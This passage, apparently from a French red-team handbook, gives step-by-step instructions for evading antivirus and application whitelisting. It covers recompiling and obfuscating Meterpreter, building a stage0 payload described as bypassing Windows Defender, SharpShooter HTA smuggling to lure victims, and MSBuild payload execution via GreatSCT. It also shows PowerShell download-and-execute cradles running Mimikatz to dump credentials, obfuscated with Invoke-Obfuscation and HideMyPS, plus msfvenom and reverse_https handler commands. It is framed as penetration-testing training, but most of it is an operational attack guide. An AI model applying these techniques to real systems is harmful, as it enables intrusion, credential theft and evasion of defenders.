Voilà un sujet que je voulais vraiment aborder. Mais sachez que cela va être un peu plus « pointu » et que vous rencontrerez très probablement des problèmes lors de la compilation. Il existe de nombreux outils dans le style de Metasploit/Meterpreter, mais chaque antivirus et outil de détection d’intrusion réseau (NID) a développé des signatures pour cela. Tout type d’obscurcissement aura généralement une signature à détecter, l’antivirus regardera dans la mémoire pour rechercher certaines chaînes de caractères dans certains endroits, et les réseaux effectuent une inspection « man-in-the-middle » sur HTTPS. Comment faire alors pour continuer à utiliser nos outils préférés, tout en contournant toutes les protections courantes ? Prenons l’exemple de Metasploit/Meterpreter et voyons comment nous pouvons échapper à tous ces obstacles. Nos objectifs sont de contourner les signatures des antivirus sur le binaire comme en mémoire et les signatures réseau.
Pour échapper à toutes ces méthodes de détection, nous allons devoir faire un certain nombre de choses. Tout d’abord, il va falloir modifier les charges utiles Meterpreter pour nous assurer qu’elles ne sont pas facilement détectées avec des signatures à la fois sur le réseau et en mémoire. Deuxièmement, nous modifions le module de persistance metsvc pour l’empêcher d’être repéré par l’antivirus. Troisièmement, nous compilons des portions de metsrv (la véritable charge utile de Meterpreter) avec Clang, pour l’empêcher également de se signaler aux signatures des antivirus. Enfin, nous allons écrire notre propre charge utile stage0, qui télécharge et exécute Meterpreter, pour contourner tous les antivirus.
Compiler metsrv (wrapper de service réseau pour Meterpreter) avec Clang et supprimer les références metsrv/metsvc-server :
	https://bit.ly/2pYPkox


Modifier les charges utiles pour se débarrasser des chaînes comme Mimikatz :
	https://bit.ly/2EalFh6


Injection de DLL « réfléchissante » modifiée pour supprimer des chaînes comme ReflectiveLoader :
	https://bit.ly/2GtZtAi


De nombreux produits réseau détectent les chargeurs stage 0/1/2 de Meterpreter dès qu’ils franchissent la porte. En plus d’obscurcir notre charge utile, nous pouvons également le faire pour le shellcode réel. Un exemple serait de parcourir tous les fichiers Ruby pour les différents types de charges utiles, et d’ajouter des nop aléatoires pour éviter la détection :
	https://bit.ly/2IkFHrx


Charge utile Stage0 personnalisée :
	https://bit.ly/2pWQGRg


Labo :
Dans ce labo, nous allons prendre tout notre code Metasploit/Meterpreter modifié, le recompiler et nous assurer qu’il peut échapper à la détection de base d’un antivirus.
Avant de commencer, passez en revue la configuration de l’environnement de compilation à partir de Metasploit :
	https://bit.ly/2xq0TZP

	https://bit.ly/1Ng4N60


Configuration requise pour Windows :
	Visual Studio 2013 ou plus – l’édition Community de 2019 est parfaite. Nécessite l’installation conjointe de C/C++.

	LLVM 32bit installé pour Windows (installez-le APRÈS Visual Studio et assurez-vous que la chaîne d’outils llvm s’installe). Pour télécharger la dernière version en date : http://releases.llvm.org/download.html.

	GNU Make installé sous Windows (https://bit.ly/2LwemaH). Assurez-vous qu’il est ajouté à votre chemin d’accès Windows ou que vous l’exécutez à partir de son répertoire d’installation si possible.

	Git-SCM (https://git-scm.com/).


Comment construire Metasploit/Meterpreter sous Windows
Commencez par extraire tous les dépôts de cyberspacekitten. Ces fichiers ont déjà été fortement modifiés pour votre labo, mais en tant que preuve de concept. Tout d’abord, occupons-nous à la fois du framework et de toutes les charges utiles :
	git clone https://github.com/cyberspacekittens/metasploit-framework

	cd metasploit-framework && git submodule init && git submodule update && cd ..

	git clone https://github.com/cyberspacekittens/metasploit-payloads

	cd metasploit-payloads && git submodule init && git submodule update && cd ..


Bien que tous les changements concernant les chaînes de caractères, la compilation pour clang, et les nops dans les charges utiles soient déjà effectués dans ces dépôts, il est important d’observer les différences Metasploit entre ces deux versions pour voir exactement ce qui a été changé.
Compiler Metasploit/Meterpreter
La première chose que nous allons faire est de recompiler nos fichiers metsvc et metsvc-server avec nos versions mises à jour. Depuis l’invite de commandes de Visual Studio :
	Accédez au dossier où se trouve le code source de notre metsvc modifié.
	cd metasploit-framework\external\source\metsvc\src



	Compilez avec make :
	“C:\Program Files (x86)\GnuWin32\bin\make.exe”




Déplacez les binaires nouvellement créés dans notre dossier meterpreter :
	copy metsvc.exe ..\..\..\..\data\meterpreter\

	copy metsvc-server.exe ..\..\..\..\data\meterpreter\


Ensuite, modifiez nos charges utiles Meterpreter et compilez-les à l’aide du fichier .bat fourni :
	cd metasploit-payloads\c\meterpreter

	make.bat


Une fois que tout est compilé, deux dossiers sont générés (x86 et x64). Copiez toutes les DLL compilées dans le dossier meterpreter :
	copy metasploit-payloads\c\meterpreter\output\x86\* metasploit-framework\data\meterpreter

	copy metasploit-payloads\c\meterpreter\output\x64\* metasploit-framework\data\meterpreter


C’est tout pour le serveur. Nous pouvons maintenant déplacer tout le dossier metasploit-framework vers votre système Kali et démarrer un gestionnaire HTTPS inverse (windows/x64/meterpreter/reverse_https).

Créer une charge utile Stage 0 modifiée
La dernière chose que nous avons besoin de faire est de créer une charge utile Stage 0 pour que notre exécutable initial contourne toute détection d’antivirus. Un Stage 0 dans Meterpreter est la première étape de tout exploit ou charge utile. C’est un morceau de code qui fait une chose simple : se reconnecter, ou écouter, de la manière souhaitée (reverse_https, reverse_tcp, bind_tcp, etc.) et qui reçoit ensuite un fichier metsrv.dll. Le code charge ensuite ce fichier en mémoire et l’exécute. Pour l’essentiel, n’importe quelle charge utile Stage 0 n’a qu’une mission à (bien) remplir : télécharger et exécuter. Du fait que c’est ainsi que Metasploit fonctionne, il existe des signatures avancées et des heuristiques pour détecter le comportement spécifique de Metasploit dans de nombreuses solutions d’antivirus – même en modifiant le shellcode et en ajoutant du code « bidon », le comportement heuristique sera toujours détecté. Pour surmonter ce problème, nous écrivons notre propre Stage 0 qui va remplir la même fonction (télécharger et exécuter en mémoire) : nous utilisons les appels de téléchargement de la charge utile reverse_https de Meterpreter pour récupérer metsrv.dll sur le serveur, puis nous l’envoyons en mémoire et nous l’exécutons.
L’exemple spécifique de charge utile fourni ici a des fonctionnalités plus avancées. Ceci a été fait pour lui permettre d’être PIC5 (Position Independent Code) et sans aucune importation. Ce code a été développé au-dessus de celui de thealpiste (https://bit.ly/2xrcKa0).
L’exemple fourni permet d’effectuer les opérations suivantes :
	Tous les codes localisent les DLL et les fonctions en mémoire pour leur exécution ; aucune importation n’est utilisée. Pour ce faire, il faut définir manuellement des stubs (ou bouchons) pour toutes les fonctions utilisées, puis les rechercher en mémoire.

	Wininet est utilisé pour exécuter les requêtes HTTPS vers le gestionnaire Metasploit configuré.

	metsrvv.dll est reçu et le blob de données est exécuté. La façon dont Metasploit sert ces fichiers signifie que le point d’entrée est le début du tampon.


Cette fonctionnalité est exactement le même processus que la façon dont les charges utiles construites dans msfvenom sont exécutées. Cependant, msfvenom les ajoute aux exécutables modèles d’une manière très prévisible et détectable, ce qui n’est pas configurable. C’est pourquoi la plupart des antivirus les identifient tout le temps. Au lieu de cela, avec un peu de savoir-faire en codage, vous pouvez réécrire les fonctionnalités des charges utiles, puisqu’elles sont petites, et contourner toute détection actuellement existante. Cette charge utile est connue pour contourner tous les antivirus, y compris Windows Defender, au moment où ces lignes sont écrites.
Créer la charge utile (vous la retrouverez à l’adresse https://bit.ly/2pWQGRg) :
	Dans Visual Studio, ouvrez metasploit-payloads\c\x64_defender_bypass\x64_defender_bypass.vcxproj

	Sous x64_defender_bypass il y a un fichier settings.h. Ouvrez-le et modifiez les informations HOST et PORT en fonction des éléments correspondants de votre gestionnaire Meterpreter.

	Assurez-vous de définir la compilation en version ‘Release’ avec ‘x64’.

	Sauvegardez et construisez.

	Sous metasploit-payloads\c\x64_defender_bypass\x64\Release, vous allez trouver un nouveau binaire ‘x64_defender_bypass. exe’. Exécutez cette charge utile sur votre machine victime dont l’antivirus est Windows Defender. Lorsque ce projet a été construit, Windows Defender n’a pas détecté cette charge utile.


Vous disposez maintenant d’un binaire Meterpreter fortement obscurci et d’une couche de transport obscurcie pour contourner toutes les protections par défaut. Ce n’était qu’une preuve de concept pour vous aider à débuter. Au moment où vous lirez ce livre, je suis sûr qu’une signature sera détectée pour certaines de ces techniques. Il y a encore beaucoup de travail à faire pour mieux échapper aux outils de détection. Par exemple, vous pouvez :
	Construire avec une chaîne d’outils d’obscurcissement clang.

	Utiliser une bibliothèque de cryptage pour toutes les chaînes de caractères.

	Changer le point d’entrée de Meterpreter (actuellement Init).

	Créer un script automatisé, ajoutant des ‘nop’ à tous les types de charges utiles.

	Éditer le code Ruby pour la génération de la charge utile afin de rendre celle-ci aléatoire à chaque exécution.





SharpShooter
En tant que membre d’une Red Team, l’un des domaines qui prend le plus de temps est la création de charges utiles qui échappent aux antivirus et aux sandboxes (bacs à sable) de la prochaine génération. Nous sommes constamment à la recherche de nouvelles méthodes pour créer nos stagers initiaux. Un outil, appelé SharpShooter, utilise plein de techniques ‘anti-sandbox’ et DotNetToJScript de James Forshaw pour exécuter du shellcode dans des formats de script Windows :
https://github.com/mdsecactivebreach/SharpShooter

Voyez également :
https://github.com/mdsecactivebreach/CACTUSTORCH

Pour des explications détaillées sur les principales caractéristiques et l’emploi de SharpShooter, voyez le blog du site MDSec, à l’adresse :
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/

Contentons-nous d’un exemple rapide :
	python SharpShooter.py --interactive

	1 – Pour .NET v2

	Y – Staged Payload

	1 – HTA (Type de charge utile)

	Les techniques anti-sandbox suivantes sont disponibles :
	Vous pouvez choisir vos techniques pour contourner les bacs à sable lors de l’exécution réussie de vos programmes malveillants :

	[1] Key to Domain (e.g. 1=CONTOSO)

	[2] Ensure Domain Joined

	[3] Check for Sandbox Artifacts

	[4] Check for Bad MACs

	[5] Check for Debugging



	1 – Delivery Method : web

	Y – Use built in shellcode execution

	Format du shellcode (tableau d’octets)
	Ouvrez un nouveau terminal et créez une charge utile Meterpreter csharp :

	msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp

	Copiez tout entre les accolades (‘{‘ et ‘}’) et soumettez en tant que tableau d’octets.



	Fournissez une URI pour la distribution Web. Pour cela, placez l’IP/port et le fichier de votre attaquant. Par exemple : http://10.100.100.9/malware.payload.

	Fournissez le nom du fichier de sortie :
	malware



	Y – Smuggle file inside HTML (soit passer le fichier en contrebande dans le HTML).

	Utilisez un modèle personnalisé (1) ou prédéfini (2). Pour des tests, choisissez un des modèles prédéfinis.

	Déplacez les fichiers malveillants nouvellement créés dans votre répertoire Web :
	mv output/* /var/www/html/



	Configurez un gestionnaire Meterpreter pour votre charge utile.


Une fois que vous avez configuré et développé votre malware, déplacez-le dans le répertoire Web (malware.hta, malware.html, malware.payload), démarrez votre service apache2, et lancez votre gestionnaire Meterpreter. Vous êtes maintenant prêt à manipuler votre victime par ingénierie sociale pour qu’elle visite votre site malveillant ! L’exemple donné ci-dessus concerne le modèle en ligne SharePoint de Sharpshooter. Lorsque la victime visite votre page malveillante en utilisant IE/Edge, le code HTA se télécharge automatiquement et demande à s’exécuter. Une fois que la victime s’est laissé avoir, la charge utile stager démarre, elle télécharge la charge utile secondaire (si tous les contrôles sont respectés), et elle exécute notre charge utile Meterpreter en mémoire.
Autres ressources :
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
 
https://github.com/mdsecactivebreach/SharpShooter


Contournement de liste blanche d’applications
Nous avons parlé des différentes façons de déclencher PowerShell sans exécuter le code PowerShell, mais que faire si vous ne pouvez pas exécuter des binaires personnalisés sur le système Windows ? Le concept de contournement d’application est lié au fait de trouver des binaires Windows par défaut qui peuvent exécuter nos charges utiles. Nous avons été sur des contrôleurs de domaine qui sont bien verrouillés et où l’exécution de code est limitée. Il y a différents fichiers Windows que nous pourrions utiliser pour contourner ces restrictions – passons en revue quelques-unes d’entre elles.
Un binaire Windows dont on parle souvent, et qui contourne la liste blanche des applications, est MSBuild.exe. Qu’est-ce que MSBuild.exe et que fait-il ? MSBuild est une application par défaut dans le cadre du framework .NET et qui sert de plate-forme pour construire des applications .NET en utilisant un fichier de projet au format XML. Nous pouvons abuser cette fonctionnalité en créant notre propre fichier de projet XML malveillant pour exécuter une session Meterpreter, en utilisant un outil appelé GreatSCT.
[image: FIGURE 7.3 : Exécuter SharpShooter.]
FIGURE 7.3 : Exécuter SharpShooter.
GreatSCT (https://github.com/GreatSCT/GreatSCT) propose plusieurs modes de contournement de liste blanche d’applications, mais nous allons simplement nous intéresser à MSBuild. Dans cet exemple, nous allons créer un fichier XML malveillant qui héberge une session Meterpreter reverse_http. Pour cela, nous devrons écrire le fichier XML dans le système de la victime et utiliser MSBuild pour exécuter ce fichier XML :
	git clone https://github.com/GreatSCT/GreatSCT.git/opt/

	cd /opt/GreatSCT

	python3 ./gr8sct.py

	[4] MSBUILD/msbuild.cfg

	Entrez votre IP hôte [0] et votre port [1]

	generate

	Configurez un gestionnaire windows/meterpreter/reverse_http dans Metasploit


Cette procédure est illustrée sur la Figure 7.4.
[image: FIGURE 7.4 : Utiliser GreatSCT.]
FIGURE 7.4 : Utiliser GreatSCT.
Dans notre instance Kali, nous avons utilisé GreatSCT pour créer le fichier shellcode.xml, qui contient à la fois des informations de build et un shell Meterpreter reverse_http. Ce fichier devrait être déplacé vers notre système victime et appelé en utilisant MSBuild.
Note : pour allez plus profondément dans GreatSCT, voyez l’adresse :
https://github.com/GreatSCT/GreatSCT/tree/develop

Une fois exécuté sur notre machine victime Windows, en utilisant la commande :
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml

.NET commencera à construire le fichier shellcode.xml (voir la Figure 7.5). Pendant ce processus, votre machine victime va générer une session Meterpreter http inverse, contournant toute application en liste blanche (voir la Figure 7.6). Vous pourriez vouloir éditer le fichier shellcode.xml pour obscurcir les charges utiles, car le Meterpreter par défaut va très probablement déclencher l’antivirus.
[image: FIGURE 7.5 : Exécuter MSBuild.exe.]
FIGURE 7.5 : Exécuter MSBuild.exe.
[image: FIGURE 7.6 : Exemple de contournement.]
FIGURE 7.6 : Exemple de contournement.
Il existe de nombreuses façons différentes d’effectuer des contournements de listes blanches d’applications. Voici quelques ressources supplémentaires :
	Des tonnes d’excellents exemples utilisant les exécutables par défaut de Windows :


https://github.com/api0cradle/UltimateAppLockerByPassList

	En utilisant REGSRV32 et PowerShell Empire :


https://bit.ly/2FPmIGJ

	Exécution de DLL via Excel.Application RegisterXLL :


https://bit.ly/2KULAB5

	Exploitation des techniques de récupération et d’exécution INF-SCT pour le contournement, l’évasion et la persistance :


https://bit.ly/2JopTWU

	Contournement d’AppLocker avec Regsvr32 :


https://bit.ly/2JaBKJz


Code Caves
Comme pour toute campagne Red Team, nous sommes toujours à la recherche de moyens créatifs pour nous déplacer latéralement dans un environnement ou pour rester persistants. Habituellement, si nous avons des identifiants, nous essayons d’exécuter des charges utiles sur un système distant en utilisant WMI ou PSExec. Il y a des moments, cependant, où nous devons trouver des moyens créatifs de nous déplacer dans un environnement sans pouvoir être facilement pistés.
En tant que membres d’une Red Team, se faire prendre n’est pas la pire chose qui puisse arriver pendant une campagne… mais c’est quand nous nous faisons prendre et que l’équipe « bleue » trouve tous les domaines, IP et hôtes compromis qui faisaient partie de la campagne. Il est généralement assez facile pour une Blue Team d’examiner les connexions de type WMI/PSExec pour identifier les mouvements latéraux, car ils ne sont pas toujours pris comme étant du trafic normal. Donc, que pouvons-nous faire pour cacher un peu plus notre mouvement latéral ?
C’est là que nous pouvons faire preuve de créativité, et il n’y a pas de bonne réponse à cette problématique (dès l’instant où ça marche, c’est bon pour moi). Une des choses que je préfère faire, une fois dans un environnement, est d’identifier les partages publics et les fichiers qui sont activement partagés/exécutés. Nous pourrions essayer d’ajouter des macros à des fichiers Office, mais cela pourrait se révéler trop évident. Une attaque qui a généralement un faible taux de détection, mais un taux de réussite élevé, est l’intégration de nos logiciels malveillants personnalisés dans des binaires exécutables. Il peut s’agir d’un binaire partagé comme putty, un client « lourd » (thick client) courant, ou même d’outils de base de données.
Bien qu’il ne soit plus maintenu, l’un des outils les plus faciles à utiliser pour effectuer ces attaques s’appelait Backdoor factory (https://bit.ly/1nT5kCc). Backdoor factory cherchait des « code cave » ou des blocs vides dans un programme réel, là où un attaquant pourrait injecter son propre shellcode malveillant.
Voici deux autres ressources intéressantes concernant le détournement d’exécutables :
https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves
 
https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html


Offuscation PowerShell
Le problème avec les scripts PowerShell aujourd’hui est que, si vous les stockez sur le disque, de nombreux outils antivirus les détecteront. Même si vous les importez en mémoire, les antivirus qui analysent celle-ci peuvent parfois alerter à leur sujet.
Quoi qu’il en soit, si vous les importez en mémoire depuis Cobalt Strike, Meterpreter, ou PowerShell Empire, il est important de s’assurer que nous ne nous ferons pas prendre par un antivirus. Si c’est le cas, nous devrions, à tout le moins, faire en sorte qu’il soit difficile pour les services de réponse aux incidents d’inverser nos charges utiles d’attaque.
Nous avons tous vu des commandes PowerShell comme celle-ci:
	Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString(‘[URL PowerShell]’); [Paramètres]


C’est la combinaison la plus basique de chaînes de caractères que nous pourrions voir pour contourner la politique d’exécution, lancer une exécution en mode caché/non interactif, et pour télécharger et exécuter une charge utile PowerShell. Pour les Blue Teams, nous avons vu beaucoup de connexions se faire prendre sur ces paramètres spécifiques comme ‘-Exec Bypass’. Nous avons donc commencé à obscurcir ce paramètre par une syntaxe PowerShell courante:
	-ExecutionPolicy Bypass
	-EP Bypass

	-Exec Bypass

	-Execution Bypass




Ce qui est encore plus fou, et je reconnais à Daniel Bohannon le mérite de l’avoir identifié, c’est que vous n’avez pas en réalité besoin de fournir toute la chaîne de paramètres pour que cela fonctionne. Par exemple, pour -ExecutionPolicy Bypass, tous ces exemples marcheront :
	-ExecutionPolicy Bypass

	-ExecutionPol Bypass

	-Executio Bypass

	-Exec Bypass

	-Ex Bypass


Ces mêmes techniques fonctionneront pour WindowStyle ou même pour le paramètre EncodedCommand. Bien sûr, ces astuces ne nous mèneront pas loin et nous devons créer des transformations plus obscurcies. Pour commencer, nous pouvons prendre un exemple très simple pour exécuter notre script PowerShell distant (dans ce cas, Mimikatz) et vider les hachages en utilisant une invite administrateur de PowerShell :
	Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds


Via Invoke-Obfuscation, nous pouvons prendre cette chaîne et l’obscurcir fortement en utilisant plusieurs techniques différentes :
	Sous Windows, téléchargez les fichiers PowerShell pour Invoke-Obfuscation :


https://github.com/danielbohannon/Invoke-Obfuscation

	Chargez le script PowerShell et lancez Invoke-Obfuscation :
	Import-Module ./Invoke-Obfuscation.psd1

	Invoke-Obfuscation



	Définissez le script PowerShell que vous voulez obscurcir. Dans ce cas, nous repartirons de Invoke-Expression :
	SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2JHVdzf’); Invoke-Mimikatz -DumpCreds



	Encodez la charge utile :
	ENCODING



	Pour cet exemple, j’ai choisi SecureString (AES), mais vous pouvez tester toutes les techniques d’offuscation (voir la Figure 7.7).


Si vous observez la chaîne obscurcie, vous pourrez remarquer qu’il y a une clé générée de manière aléatoire et une chaîne sécurisée cryptée. Lors de l’exécution de PowerShell en tant qu’administrateur, nous obtenons toujours la charge utile complète à exécuter (voir la Figure 7.8).
Nous pouvons aussi revenir à l’écran principal et créer des lanceurs obscurcis (voir la Figure 7.9) :
	main

	launcher

	CLIP++

	Choisissez vos options d’exécution


[image: FIGURE 7.7 : Utiliser Invoke-Obfuscation.]
FIGURE 7.7 : Utiliser Invoke-Obfuscation.
[image: FIGURE 7.8 : Exécution du script PowerShell.]
FIGURE 7.8 : Exécution du script PowerShell.
[image: FIGURE 7.9 : Utiliser des arguments obscurcis.]
FIGURE 7.9 : Utiliser des arguments obscurcis.
Mieux encore, si nous regardons dans le journal de Windows PowerShell, nous constatons qu’il est très obscurci et qu’il pourrait nous aider à éviter les antivirus et les outils d’alerte SEIM6 (Security Information Management System). C’est ce qu’illustre la Figure 7.10.
En plus d’Invoke-Obfuscation, Daniel a créé un outil appelé Invoke-CradleCrafter qui se concentre sur les download cradles7 distants. Voyez à ce sujet l’adresse8 :
https://github.com/danielbohannon/Invoke-CradleCrafter

[image: FIGURE 7.10 : Un journal PowerShell.]
FIGURE 7.10 : Un journal PowerShell.

PowerShell sans PowerShell
Vous obtenez finalement l’exécution de code distant, mais vous découvrez que vous ne pouvez pas exécuter PowerShell.exe, ou que l’entreprise surveille les commandes PowerShell.exe. Quelles sont vos options pour faire fonctionner votre charge utile PowerShell ou vos agents C2 sur ce système hôte ?
Not PowerShell (NPS)
J’aime beaucoup le concept de Not PowerShell ou NPS. NPS est un binaire Windows qui exécute PowerShell via .Net, au lieu d’appeler directement PowerShell.exe. Bien que cela soit généralement signalé aujourd’hui par les antivirus, nous utilisons les mêmes concepts pour créer des binaires afin d’exécuter directement notre malware PowerShell sans avoir besoin de PowerShell.exe. Ben0xA vous donne les sources, donc n’hésitez pas à essayer d’obscurcir le binaire pour contourner les antivirus.
https://github.com/Ben0xA/nps


NPS_Payload
Ce rejeton de NPS est un outil de TrustedSec qui tire parti de l’exécution de code via MSBuild.exe. Cet outil génère une charge utile PowerShell dans un fichier msbuild_nps.xml qui est exécuté quand il est appelé. Le fichier XML peut être appelé par :
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ msbuild.exe C:\<path_to_msbuild_nps.xml>


https://github.com/trustedsec/nps_payload


SharpPick
SharpPick, un composant de PowerPick, est un excellent outil qui vous permet d’appeler PowerShell sans jamais invoquer le binaire PowerShell.exe. Dans SharpPick, « la fonction RunPS utilise la fonction System.Management.Automation pour exécuter un script à l’intérieur d’un runspace (espace de travail) PowerShell sans jamais démarrer un processus PowerShell. »
http://www.sixdub.net/?p=555]

Après avoir téléchargé SharpPick (https://bit.ly/2n8QVXv), vous pouvez prendre vos charges utiles PowerShell Empire et créer des binaires. Vous trouverez une description complète quant à la façon de configurer votre environnement et de construire votre charge utile aux adresses suivantes :
	http://www.sixdub.net/?p=555

	https://bneg.io/2017/07/26/empire-without-powershell-exe/


Il arrive parfois qu’il ne soit pas possible de déposer un binaire sur le système hôte. Dans de tels cas, nous pouvons créer une bibliothèque de classes (un fichier DLL) que nous plaçons sur le système et que nous exécutons avec ‘rundll32.exe runmalicious.dll,EntryPoint’.
Bien sûr, la création de ces DLL peut se faire automatiquement pour Meterpreter ou Cobalt Strike, mais il est bien d’avoir la souplesse d’exécuter des charges utiles PowerShell spécifiques sans jamais appeler PowerShell.exe.


HideMyPS
HideMyPS est un outil que j’ai écrit il y a quelques années mais qui a encore beaucoup de succès. Il est disponible à l’adresse :
https://github.com/cheetz/hidemyps

Cela a toujours été un outil de type preuve de concept, mais il fonctionne toujours, même après toutes ces années. Le problème que j’ai rencontré, c’est que n’importe quel script PowerShell de nos jours est détecté par les antivirus. Par exemple, si nous déposons le fichier Invoke-Mimikatz.ps1 (https://bit.ly/2wfeSSl) normal sur un système Windows avec Windows Defender actif, celui-ci détectera instantanément le script PowerShell et enverra des signaux d’alerte partout. C’est l’une des principales failles des antivirus traditionnels en plus du fait qu’ils recherchent généralement des chaînes très spécifiques dans les logiciels malveillants. Par conséquent, j’ai créé un petit script Python qui prend un script PowerShell et obscurcit toutes les chaînes de caractères (ceci n’a été testé qu’avec quelques scripts, et donc ce n’est en aucun cas du code de production).
HideMyPS va trouver toutes les fonctions et va les obscurcir en utilisant un chiffrement par rotation, il supprimera tous les commentaires des scripts PowerShell et coupera les chaînes pour éviter les signatures d’antivirus statiques. Pour l’exemple suivant, prenons Invoke_Mimikatz.ps1 (https://bit.ly/2wfeSSl) et obscurcissons le fichier PowerShell (voir la Figure 7.11) :
	cd /opt/HideMyPS

	python hidemyps.py invoke_mimikatz.ps1[nomdefichier.ps1]


[image: FIGURE 7.11 : Exécuter HideMyPS.]
FIGURE 7.11 : Exécuter HideMyPS.
Maintenant, regardez la différence entre le fichier original et le nouveau fichier que vous avez créé. Tout d’abord, vous pouvez voir que les noms des fonctions sont tous mélangés, que les variables ont été modifiées, que les chaînes de caractères ont été coupées en deux et que tous les commentaires manquent (voir la Figure 7.12).
La seule chose dont vous devez vous souvenir est que nous avons changé tous les noms de fonctions dans le script PowerShell. Donc, pour appeler les fonctions, nous allons devoir opérer la démarche inverse dans notre fichier obscurci et voir ce que nous avons fait pour remplacer ‘function Invoke-Mimikatz’. Dans ce cas, Invoke-Mimikatz a été changé en Vaibxr-Zvzvxngm. L’exemple de la Figure 7.13 a été exécuté sur un poste Windows 10 avec Defender, les deux étant complètement mis à jour.

Conclusion
En tant que Red Teamers ou pentesters, ce sera toujours un jeu du chat et de la souris avec l’hôte et les outils de détection de réseau. C’est pourquoi il est très important d’être capable de comprendre comment fonctionnent les protections sous-jacentes, d’écrire du code de bas niveau pour interagir directement avec les API Windows par opposition aux commandes shell, de sortir des sentiers battus et de faire preuve de créativité. Si vous vous concentrez uniquement sur l’utilisation d’outils courants, la probabilité pour que vous soyez détecté dans un
[image: FIGURE 7.12 : Le fichier original et la version produite par HideMyPS.]
FIGURE 7.12 : Le fichier original et la version produite par HideMyPS.
[image: FIGURE 7.13 : Exécution du script produit par HideMyS.]
FIGURE 7.13 : Exécution du script produit par HideMyS.
environnement d’entreprise est assez élevée. Si les outils sont publics, il est fort probable que les fournisseurs de systèmes de sécurité les « démontent » pratiquement dès qu’ils sortent et développent des signatures pour eux. C’est à vous de prendre les attaques actuelles, de les exploiter et de les retravailler de manière à ce qu’elles ne soient pas reconnues par ces fournisseurs.


1. Du code malveillant qui détourne un programme de son exécution normale.
2. Voir par exemple https://en.wikipedia.org/wiki/Code_cave.
3. Voir par exemple https://fr.wikipedia.org/wiki/Vim.
4. Voir par exemple https://fr.wikipedia.org/wiki/Injecteur_(informatique).
5. Voir par exemple https://en.wikipedia.org/wiki/Position-independent_code.
6. Voir par exemple https://fr.wikipedia.org/wiki/Security_information_management_system.
7. Une ligne de commande unique pour le téléchargement et l’exécution de code. Voir par exemple https://bit.ly/2FQwUPv.
8. Pour une documentation plus complète et didactique, voyez l’adresse https://bit.ly/2Jq475h.

Chapitre 8
Équipes spéciales – Cracks, exploits et astuces
Ce chapitre se concentre sur une poignée de ressources différentes que j’ai trouvées utiles à la fois pour les Red Teams et les tests de pénétration. Ces ressources ne peuvent pas être utilisées dans toutes les campagnes, mais elles sont parfaites pour des scénarios spécifiques ou des cas ponctuels.
Automatisation
Au fur et à mesure que les protections heuristiques des terminaux s’améliorent, nos attaques doivent devenir de plus en plus rapides. Nous pouvons généralement écrire des malware pour échapper aux antivirus et passer à travers les détections initiales, mais, une fois que nous commençons à faire des appels comme Mimikatz (en mémoire) ou à effectuer un mouvement latéral vers un autre hôte, nous commençons à déclencher des alarmes. Pour contrer cela, je dis toujours aux membres des Red Teams de se faire prendre dès la première tentative. Habituellement, les équipes bleues voient cela comme une victoire lors d’un déclenchement sur notre malware de base/par défaut (ou légèrement obscurci), mais le véritable but est simplement d’apprendre à connaître leur environnement. Pour ce faire, nous exécutons automatiquement des scripts de reconnaissance multiples sur la machine de la victime. Dans la section suivante, nous passerons en revue quelques scripts d’exécution automatique qui peuvent nous aider à automatiser certaines de nos attaques.
Automatisation de Metasploit avec des scripts RC
Avec Metasploit, nous pouvons exécuter nos scripts postexploitation avec efficacité et efficience en utilisant :
	Rechercher tous les modules de postexploitation dans Metasploit

	msfconsole

	show post


À partir des résultats ‘post’, sélectionnez tous les modules que vous voulez inclure pour une exécution automatique lors de la réception d’un shell Meterpreter. Dans ce cas, nous allons ajouter un privilège de migration postexploitation (https://bit.ly/327JbZl) à notre attaque. Pour configurer le shell Meterpreter afin qu’il exécute cette charge utile lors de la connexion initiale depuis notre hôte compromis, nous devons spécifier un paramètre AutoRunScript. N’hésitez pas à ajouter autant d’AutoRunScript que vous en avez besoin pour charger des informations sur le système/réseau, vous déplacer latéralement, et plus encore !
Création d’un Handler et d’AutoRunScript :
	Créez un fichier handler :
	gedit handler.rc



	Configurez le handler et les scripts automatiques :
	use multi/handler

	set payload windows/meterpreter/reverse_https

	set LHOST 10.100.100.9

	set LPORT 443

	set AutoRunScript post/windows/manage/priv_migrate

	set ExitOnSession false

	set EnableStageEncoding true

	exploit -j



	Lancez le handler :
	msfconsole -r handler.rc





Automatiser Empire
Empire possède des fonctionnalités similaires à celles des fichiers ressources de Metasploit, qui automatisent de nombreuses tâches répétitives. Nous devons d’abord créer un fichier (dans notre exemple, il sera appelé /opt/empire_autoload.rc) et ensuite le charger dans notre instance Empire.
	Dans une fenêtre de terminal séparée, créez un fichier handler :
	gedit /opt/empire_autoload.rc



	Ajoutez tous les modules de post que vous voulez exécuter :
	usemodule situational_awareness/network/powerview/get_user

	execute

	back

	usermodule situational_awareness/network/powerview/get_computer

	execute

	back



	Dans Empire, chargez le fichier de ressources autoload.rc (voir la Figure 8.1) :
	agents

	autorun /opt/empire_autoload.rc powershell

	autorun show




[image: FIGURE 8.1 : Charger le fichier autoload.rc.]
FIGURE 8.1 : Charger le fichier autoload.rc.
Lorsque l’agent s’est connecté, il exécute automatiquement les scripts get_user et get_computer PowerShell. Tous les résultats de ces scripts seront stockés dans le fichier agent.log. Dans ce cas, notre nom d’agent est N6LMM348G, donc nos données seront enregistrées dans /opt/Empire/downloads/N6LM348G/agent.log.

Automatiser Cobalt Strike
